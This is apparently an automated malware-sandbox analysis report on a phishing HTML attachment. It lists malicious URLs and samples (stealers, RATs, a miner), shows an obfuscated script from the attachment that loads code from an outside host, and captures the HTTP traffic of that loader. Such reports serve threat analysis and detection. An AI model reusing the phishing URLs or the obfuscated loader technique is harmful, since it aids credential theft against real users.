AMAZON-02US	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse	52.222.236.75
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.126
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	18.244.18.60
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	file.exe	Get hash	malicious	XWorm, Xmrig	Browse	3.120.98.217
	file.exe	Get hash	malicious	Unknown	Browse	18.245.31.40
	https://tracking.groovesell.com:443/t/1c336171327d66d10a047ef8cbabb880	Get hash	malicious	Unknown	Browse	52.222.232.30
	http://email.app.loyalty.appstle.com/c/eJwczE2uLBEUAODVMHty6vgfGLxJ7YNCldsaadKJ3d_kbuCLDpJVWtPkDo1aHlqApo_j-QrGx0NGE5VRkkMwCbUEaa334GlxCCjAogErldDsyjIGyVXM-UCInAjwY7Dat69rMz_GXDWxq79pdc9aYxL-n-BJ8KylvUpjoXSC5_2T2iwlljsRPOnHhc--S1VIBHzvyVp-sdbpchGMyvkfJvbe8-mj5P2nfx3-BgAA__-UbkEq	Get hash	malicious	Unknown	Browse	108.156.60.3

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	BX7yRz7XqF.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.85.23.86 23.43.61.160
	jKSjtQ8W7O.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.85.23.86 23.43.61.160
	U7TJ7Rq13y.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.85.23.86 23.43.61.160
	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.85.23.86 23.43.61.160
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 23.43.61.160
	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse	13.85.23.86 23.43.61.160
	http://servicesnaustraliagov.info/admin	Get hash	malicious	Unknown	Browse	13.85.23.86 23.43.61.160
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	13.85.23.86 23.43.61.160
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 23.43.61.160
	http://tr.padlet.com/redirect/?url=http://dctools.mooo.com/smileyes/dhe/succes/pure/dad/mom/kid/she/qwerty/careese.pfund@stcotterturbine.com	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 23.43.61.160

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9707)
Category:	downloaded
Size (bytes):	9803
Entropy (8bit):	5.4220018486921155
Encrypted:	false
SSDEEP:	192:+R7wdDDSuELGG4Xu0oJOrXAIjhXRkyfgBr0V2pKMS:+R8dDGufXu0hASRkyfg90gS
MD5:	27CD26AB4C575D62BF184AB100FC8EA3
SHA1:	C3F12AE1233E6AF1853B07CD2CF67F058361432C
SHA-256:	2BB28B4B118B771B61D5F8056EE3139587FCEDBB64204E9005BE686351F2DA76
SHA-512:	BB94E5BD1AA3A1F4C918D52BE1AB141E2E09631563E436149FA54BBD847307C0159F690F6ED9CC0F4021499705F7F0D7DAAD5656CD934F983D9A5E4D1603FF3C
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uc/finance/cosaic/js/finQuote-3b430431.6c6819de00e6258bcc5a.js
Preview:	/! For license information please see finQuote-3b430431.6c6819de00e6258bcc5a.js.LICENSE.txt /.(()=>{"use strict";var e,t,a,r,o,n={4039:(e,t,a)=>{var r=a(4603),o=void 0!==r.mE?r.mE:_exports.CIQ;o.ExtendedHours=o.ExtendedHours\|\|function(e){var t=e.stx;this.filter=e.filter,t\|\|(t=e,this.filter=!1);var a={};this.stx=t,this.stx.extendedHours=this,this.cssRequired=!0,t.addEventListener("theme",(function(e){for(var r in a={},t.layout.marketSessions)a.session\|\|(a.session={}),a.session[r]=t.canvasStyle("stx_market_session "+r)})),t.addEventListener("symbolChange",(function(e){"master"!=e.action\|\|!t.layout.extended\|\|t.chart.market.market_def&&t.chart.market.sessions.length\|\|o.alert("There are no Extended Hours for this instrument.")})),o.UI&&o.UI.KeystrokeHub.addHotKeyHandler("extendedHours",(({stx:e})=>{e.container.ownerDocument.body.keystrokeHub.context.advertised.Layout.setExtendedHours()}),t),this.prepare=function(e,r){for(var o in t.layout.extended=e,t.layout.marketSessions)a.session={},t.

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	4.81333741351113
TrID:	HyperText Markup Language (6006/1) 100.00%
File name:	Electronic_Receipt_ATT0001.htm
File size:	1'451 bytes
MD5:	b1de484f37a8c1e01bf73e7715497d90
SHA1:	69896e52b0f5f24a1b9c92925d5ada7e300e3f18
SHA256:	937fd7b138665e64f179bb91b9ec4bf3622d7963bb79f925bea3ef0a4650c792
SHA512:	90b3573d6a5e99c896ca58c08e39904a76f71d70f9f1a766b1a1fa190336085f5e7fc8c2d6d44cc8492908b0460be90515ece3018a966ede3e21fe8fbf2b1988
SSDEEP:	24:ipQVqPZQj/hJQHV6EVWlIq/dYzq0H6qV8wq7AE8NLMTF1cM:ipqqPZQjZegEVWhaqT3dTF1/
TLSH:	163163D112C0679A0F06D37BAB589D0DF6A1521C764272E839FE3528B3A8F5998C44FD
File Content Preview:	<html>....<script>..yak = `#dHNhbGNpZG9Ac3RpbnNvbnMuY29t`;..giraffe = ['w','ri','te'].join('') /* peacock /; ..robin = ['<s','cri','pt s', / hippo /'rc='].join(''); ....nutcracker=["htt", / jackfruit */ "ps://","lipsoft",`in

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:18 UTC	684	OUT	GET /res444.php?2-68747470733a2f2f687265662e6c692f3f68747470733a2f2f48466a2e726f6e7469736865742e72752f694361577a6a36512f-yak HTTP/1.1 Host: lipsoftinc.in Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:18 UTC	196	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:17 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2024-09-30 17:20:18 UTC	2065	IN	Data Raw: 38 30 35 0d 0a 20 20 20 20 76 61 72 20 6a 52 52 47 67 47 71 52 55 4e 74 51 6f 58 44 55 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 6a 52 52 47 67 47 71 52 55 4e 74 51 6f 58 44 55 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 6a 52 52 47 67 47 71 52 55 4e 74 51 6f 58 44 55 29 3b 0d 0a 6a 52 52 47 67 47 71 52 55 4e 74 51 6f 58 44 55 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 805 var jRRGgGqRUNtQoXDU = document.createElement("script");jRRGgGqRUNtQoXDU.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(jRRGgGqRUNtQoXDU);jRRGgGqRUNtQoXDU.onload=function()

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:18 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:18 UTC	950	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3744 Expires: Sat, 20 Sep 2025 17:20:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IxedqX1bR4m9kW6ohywiBBEjPoIu3IK8ojDb8b6PBI63khbTNANw1kDBfIkxVuY6xeflMPV7bMCmsw9ow4sW79TIxLmffD2M9a0aJIz5CHA6MHhCQAkmhBw9o1RxC8r72awh4oUI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cb5e2051e0843e0-EWR alt-svc: h3=":443"; ma=86400
2024-09-30 17:20:18 UTC	419	IN	Data Raw: 33 39 37 65 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 397e!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 52 61 6e Data Ascii: rypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRan
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: ){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function(){var
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 28 69 Data Ascii: _data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlock(i
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b Data Ascii: +i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0)\|0,e[
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 Data Ascii: wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((65535&
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a 6c 2e 61 62 73 Data Ascii: \|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296l.abs
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 Data Ascii: B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(m,x,b
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d Data Ascii: his);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>>>32-
2024-09-30 17:20:18 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b 69 5d 3d 65 28 Data Ascii: ){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[i]=e(

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:19 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:19 UTC	930	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3745 Expires: Sat, 20 Sep 2025 17:20:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xm5nBn1ayMn%2F%2FaoXd%2FI06Y85h9UzVdXdl4eSyHjzRuDl%2Fpl%2B2uCykVh1WCbGxlLJWSmE2SyxMPEVWqoKGAaUfBhlM5zgMPxKNjq75owElUWc1ePngZdFrpyq7k6yNDlWBbGparYr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cb5e209f95f42c0-EWR
